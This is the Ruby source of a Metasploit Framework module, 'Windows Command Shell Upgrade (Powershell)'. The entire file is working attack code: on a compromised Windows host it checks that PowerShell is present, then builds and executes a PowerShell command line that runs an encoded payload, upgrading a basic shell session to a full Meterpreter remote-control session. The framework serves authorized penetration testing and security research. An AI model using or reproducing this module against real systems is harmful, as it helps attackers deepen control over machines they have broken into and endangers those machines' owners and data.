metasploit-gs/modules/exploits/windows/local/powershell_cmd_upgrade.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::Powershell
  include Post::File

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Command Shell Upgrade (Powershell)',
        'Description' => %q{
          This module executes Powershell to upgrade a Windows Shell session
          to a full Meterpreter session.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ben Campbell'
        ],
        'DefaultOptions' => {
          'WfsDelay' => 10,
        },
        'DisclosureDate' => '1999-01-01',
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'shell' ],
        'Targets' => [ [ 'Universal', {} ] ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    psh_path = "\\WindowsPowerShell\\v1.0\\powershell.exe"

    if file? "%WINDIR%\\System32#{psh_path}"
      print_status("Executing powershell command line...")
      command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
      cmd_exec(command)
    else
      fail_with(Failure::NotVulnerable, "No powershell available.")
    end
  end
end